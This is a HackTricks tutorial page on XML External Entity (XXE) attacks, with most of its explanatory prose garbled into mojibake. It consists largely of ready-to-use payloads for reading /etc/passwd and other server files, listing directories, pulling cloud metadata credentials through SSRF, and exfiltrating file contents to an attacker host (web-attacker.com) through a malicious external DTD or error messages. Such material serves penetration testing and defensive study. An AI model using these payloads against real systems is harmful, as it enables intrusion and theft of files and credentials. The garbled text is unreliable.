60 KiB
XXE - XEE - XML External Entity
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
{% embed url="https://websec.nl/" %}
XML Basics
XML рдПрдХ рдорд╛рд░реНрдХрдЕрдк рднрд╛рд╖рд╛ рд╣реИ рдЬрд┐рд╕реЗ рдбреЗрдЯрд╛ рд╕рдВрдЧреНрд░рд╣рдг рдФрд░ рдкрд░рд┐рд╡рд╣рди рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд▓рдЪреАрд▓реА рд╕рдВрд░рдЪрдирд╛ рд╣реИ рдЬреЛ рд╡рд░реНрдгрдирд╛рддреНрдордХ рд░реВрдк рд╕реЗ рдирд╛рдорд┐рдд рдЯреИрдЧ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдпрд╣ HTML рд╕реЗ рднрд┐рдиреНрди рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдЯреИрдЧ рдХреЗ рд╕реЗрдЯ рддрдХ рд╕реАрдорд┐рдд рдирд╣реАрдВ рд╣реИред JSON рдХреЗ рдЙрджрдп рдХреЗ рд╕рд╛рде XML рдХрд╛ рдорд╣рддреНрд╡ рдХрдо рд╣реБрдЖ рд╣реИ, рдЗрд╕рдХреЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ AJAX рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА рдореЗрдВ рднреВрдорд┐рдХрд╛ рдХреЗ рдмрд╛рд╡рдЬреВрджред
- Entities рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡: XML рдореЗрдВ Entities рдбреЗрдЯрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдг рдЬреИрд╕реЗ
<
рдФрд░>
рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдЬреЛ<
рдФрд░>
рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИрдВ рддрд╛рдХрд┐ XML рдХреЗ рдЯреИрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рд╛рде рд╕рдВрдШрд░реНрд╖ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред - XML рддрддреНрд╡реЛрдВ рдХреА рдкрд░рд┐рднрд╛рд╖рд╛: XML рддрддреНрд╡ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреА рдкрд░рд┐рднрд╛рд╖рд╛ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдпрд╣ рдмрддрд╛рддреЗ рд╣реБрдП рдХрд┐ рддрддреНрд╡реЛрдВ рдХреЛ рдХреИрд╕реЗ рд╕рдВрд░рдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЙрдирдореЗрдВ рдХреМрди рд╕рд╛ рд╕рд╛рдордЧреНрд░реА рд╣реЛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рдХрд┐рд╕реА рднреА рдкреНрд░рдХрд╛рд░ рдХреА рд╕рд╛рдордЧреНрд░реА рд╕реЗ рд▓реЗрдХрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдмрд╛рд▓ рддрддреНрд╡реЛрдВ рддрдХ рд╣реЛ рд╕рдХрддреА рд╣реИред
- рдбреЙрдХреНрдпреВрдореЗрдВрдЯ рдЯрд╛рдЗрдк рдкрд░рд┐рднрд╛рд╖рд╛ (DTD): DTDs XML рдореЗрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреА рд╕рдВрд░рдЪрдирд╛ рдФрд░ рдЗрд╕рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдбреЗрдЯрд╛ рдХреЗ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИрдВред рдпреЗ рдЖрдВрддрд░рд┐рдХ, рдмрд╛рд╣рд░реА, рдпрд╛ рд╕рдВрдпреЛрдЬрди рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╣ рдорд╛рд░реНрдЧрджрд░реНрд╢рди рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХреЛ рдХреИрд╕реЗ рд╕реНрд╡рд░реВрдкрд┐рдд рдФрд░ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
- рдХрд╕реНрдЯрдо рдФрд░ рдмрд╛рд╣рд░реА Entities: XML DTD рдХреЗ рднреАрддрд░ рд▓рдЪреАрд▓реЗ рдбреЗрдЯрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЗ рд▓рд┐рдП рдХрд╕реНрдЯрдо Entities рдмрдирд╛рдиреЗ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдмрд╛рд╣рд░реА Entities, рдЬрд┐рдиреНрд╣реЗрдВ URL рдХреЗ рд╕рд╛рде рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд╕реБрд░рдХреНрд╖рд╛ рдЪрд┐рдВрддрд╛рдУрдВ рдХреЛ рдЙрдард╛рддреА рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ XML External Entity (XXE) рд╣рдорд▓реЛрдВ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рдЬреЛ XML рдкрд╛рд░реНрд╕рд░реНрд╕ рджреНрд╡рд╛рд░рд╛ рдмрд╛рд╣рд░реА рдбреЗрдЯрд╛ рд╕реНрд░реЛрддреЛрдВ рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВ:
<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
- рдкреИрд░рд╛рдореАрдЯрд░ Entities рдХреЗ рд╕рд╛рде XXE рдкрд╣рдЪрд╛рди: XXE рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдм рдкрд╛рд░рдВрдкрд░рд┐рдХ рд╡рд┐рдзрд┐рдпрд╛рдБ рдкрд╛рд░реНрд╕рд░ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЗ рдХрд╛рд░рдг рд╡рд┐рдлрд▓ рд╣реЛрддреА рд╣реИрдВ, XML рдкреИрд░рд╛рдореАрдЯрд░ Entities рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпреЗ Entities рдЖрдЙрдЯ-рдСрдл-рдмреИрдВрдб рдкрд╣рдЪрд╛рди рддрдХрдиреАрдХреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ DNS рд▓реБрдХрдЕрдк рдпрд╛ HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдбреЛрдореЗрди рдкрд░ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдирд╛, рддрд╛рдХрд┐ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛ рд╕рдХреЗред
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
Main attacks
New Entity test
рдЗрд╕ рд╣рдорд▓реЗ рдореЗрдВ рдореИрдВ рдпрд╣ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реВрдБ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдирдИ ENTITY рдШреЛрд╖рдгрд╛ рдХрд╛рдо рдХрд░ рд░рд╣реА рд╣реИ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
рдлрд╝рд╛рдЗрд▓ рдкрдврд╝реЗрдВ
рдЖрдЗрдП /etc/passwd
рдХреЛ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЛрдВ рд╕реЗ рдкрдврд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред Windows рдХреЗ рд▓рд┐рдП рдЖрдк рдкрдврд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: C:\windows\system32\drivers\etc\hosts
рдЗрд╕ рдкрд╣рд▓реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ SYSTEM "**file:///**etc/passwd" рднреА рдХрд╛рдо рдХрд░реЗрдЧрд╛ред
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
рдпрд╣ рджреВрд╕рд░рд╛ рдорд╛рдорд▓рд╛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдпрджрд┐ рд╡реЗрдм рд╕рд░реНрд╡рд░ PHP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ (рдпрд╣ рдкреЛрд░реНрдЯрд╕реНрд╡рд┐рдЧрд░реНрд╕ рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛рдУрдВ рдХрд╛ рдорд╛рдорд▓рд╛ рдирд╣реАрдВ рд╣реИ)
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
рдЗрд╕ рддреАрд╕рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╣рдо Element stockCheck
рдХреЛ ANY рдХреЗ рд░реВрдк рдореЗрдВ рдШреЛрд╖рд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВред
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
Directory listing
Java рдЖрдзрд╛рд░рд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛ XXE рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдПрдХ рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде рдЬреИрд╕реЗ (рдлрд╛рдЗрд▓ рдХреЗ рдмрдЬрд╛рдп рдмрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рд▓рд┐рдП рдкреВрдЫрдирд╛):
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
SSRF
рдПрдХ XXE рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрд▓рд╛рдЙрдб рдХреЗ рдЕрдВрджрд░ рдПрдХ SSRF рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Blind SSRF
рдкрд╣рд▓реЗ рдЯрд┐рдкреНрдкрдгреА рдХреА рдЧрдИ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рд╕рд░реНрд╡рд░ рдХреЛ рдПрдХ рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЖрдк рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдпрд╣ рджрд┐рдЦрд╛ рд╕рдХреЗ рдХрд┐ рдпрд╣ рдХрдордЬреЛрд░ рд╣реИред рд▓реЗрдХрд┐рди, рдЕрдЧрд░ рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рд╢рд╛рдпрдж рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ XML рдПрдВрдЯрд┐рдЯреАрдЬрд╝ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ, рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреАрдЬрд╝ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
"Blind" SSRF - Exfiltrate data out-of-band
рдЗрд╕ рдЕрд╡рд╕рд░ рдкрд░ рд╣рдо рд╕рд░реНрд╡рд░ рдХреЛ рдПрдХ рдирдпрд╛ DTD рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдВрдЧреЗ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреЗрд▓реЛрдб рд╣реЛрдЧрд╛ рдЬреЛ HTTP рдЕрдиреБрд░реЛрдз рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рднреЗрдЬреЗрдЧрд╛ (рдмрд╣реБ-рд▓рд╛рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЖрдк рдЗрд╕реЗ _ftp://_ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЗрд╕ рдмреБрдирд┐рдпрд╛рджреА рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ xxe-ftp-server.rb)ред рдпрд╣ рд╡реНрдпрд╛рдЦреНрдпрд╛ Portswiggers lab here** рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИред**
рджрд┐рдП рдЧрдП рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг DTD рдореЗрдВ, рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рдЪрд░рдг рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ:
Malicious DTD Example:
рд╕рдВрд░рдЪрдирд╛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
The steps executed by this DTD include:
- Parameter Entities рдХреА рдкрд░рд┐рднрд╛рд╖рд╛:
- рдПрдХ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА,
%file
, рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ, рдЬреЛ/etc/hostname
рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкрдврд╝рддреА рд╣реИред - рдПрдХ рдФрд░ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА,
%eval
, рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИред рдпрд╣ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдПрдХ рдирдИ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА,%exfiltrate
, рдХреА рдШреЛрд╖рдгрд╛ рдХрд░рддреА рд╣реИред%exfiltrate
рдПрдВрдЯрд┐рдЯреА рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ HTTP рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ%file
рдПрдВрдЯрд┐рдЯреА рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ URL рдХреЗ рдХреНрд╡реЗрд░реА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рднреАрддрд░ рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИред
- рдПрдВрдЯрд┐рдЯреАрдЬрд╝ рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди:
%eval
рдПрдВрдЯрд┐рдЯреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ%exfiltrate
рдПрдВрдЯрд┐рдЯреА рдХреА рдЧрддрд┐рд╢реАрд▓ рдШреЛрд╖рдгрд╛ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИред- рдлрд┐рд░
%exfiltrate
рдПрдВрдЯрд┐рдЯреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдирд┐рд░реНрджрд┐рд╖реНрдЯ URL рдкрд░ HTTP рдЕрдиреБрд░реЛрдз рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИред
рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг DTD рдХреЛ рдЕрдкрдиреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рдПрдХ рд╕рд░реНрд╡рд░ рдкрд░ рд╣реЛрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИ, рдЖрдорддреМрд░ рдкрд░ рдПрдХ URL рдЬреИрд╕реЗ http://web-attacker.com/malicious.dtd
рдкрд░ред
XXE Payload: рдПрдХ рдХрдордЬреЛрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░ рдПрдХ XXE payload рднреЗрдЬрддрд╛ рд╣реИ:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
This payload defines an XML parameter entity %xxe
and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the /etc/hostname
file to the attacker's server.
Error Based(External DTD)
рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╣рдо рд╕рд░реНрд╡рд░ рдХреЛ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг DTD рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдВрдЧреЗ рдЬреЛ рдПрдХ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рджрд┐рдЦрд╛рдПрдЧрд╛ (рдпрд╣ рдХреЗрд╡рд▓ рддрдм рдорд╛рдиреНрдп рд╣реИ рдЬрдм рдЖрдк рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ)ред рдпрд╣рд╛рдВ рд╕реЗ рдЙрджрд╛рд╣рд░рдгред
рдПрдХ XML рдкрд╛рд░реНрд╕рд┐рдВрдЧ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢, рдЬреЛ /etc/passwd
рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИ, рдХреЛ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдмрд╛рд╣рд░реА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдкреНрд░рдХрд╛рд░ рдкрд░рд┐рднрд╛рд╖рд╛ (DTD) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдгреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреВрд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
- рдПрдХ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА
file
рдирд╛рдордХ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ/etc/passwd
рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рд╣реЛрддреА рд╣реИред - рдПрдХ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА
eval
рдирд╛рдордХ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛerror
рдирд╛рдордХ рдПрдХ рдЕрдиреНрдп XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА рдХреЗ рд▓рд┐рдП рдПрдХ рдЧрддрд┐рд╢реАрд▓ рдШреЛрд╖рдгрд╛ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИред рдЬрдм рдЗрд╕error
рдПрдВрдЯрд┐рдЯреА рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдПрдХ рдЧреИрд░-рдореМрдЬреВрдж рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВfile
рдПрдВрдЯрд┐рдЯреА рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЙрд╕рдХреЗ рдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред eval
рдПрдВрдЯрд┐рдЯреА рдХреЛ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗerror
рдПрдВрдЯрд┐рдЯреА рдХреА рдЧрддрд┐рд╢реАрд▓ рдШреЛрд╖рдгрд╛ рд╣реЛрддреА рд╣реИредerror
рдПрдВрдЯрд┐рдЯреА рдХрд╛ рдЖрд╣реНрд╡рд╛рди рдПрдХ рдЧреИрд░-рдореМрдЬреВрдж рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ/etc/passwd
рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреА рд╣реИред
рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдмрд╛рд╣рд░реА DTD рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд XML рдХреЗ рд╕рд╛рде рдЖрд╣реНрд╡рд╛рди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Upon execution, the web server's response should include an error message displaying the contents of the /etc/passwd
file.
рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдмрд╛рд╣рд░реА DTD рд╣рдореЗрдВ рджреВрд╕рд░реЗ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдПрдВрдЯрд┐рдЯреА рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ (eval
), рд▓реЗрдХрд┐рди рдпрд╣ рдЖрдВрддрд░рд┐рдХ DTD рдореЗрдВ рдирд┐рд╖рд┐рджреНрдз рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЖрдк рдмрд╛рд╣рд░реА DTD рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдмрд┐рдирд╛ рдПрдХ рддреНрд░реБрдЯрд┐ рдХреЛ рдордЬрдмреВрд░ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ (рдЖрдорддреМрд░ рдкрд░)ред
рддреНрд░реБрдЯрд┐ рдЖрдзрд╛рд░рд┐рдд (рд╕рд┐рд╕реНрдЯрдо DTD)
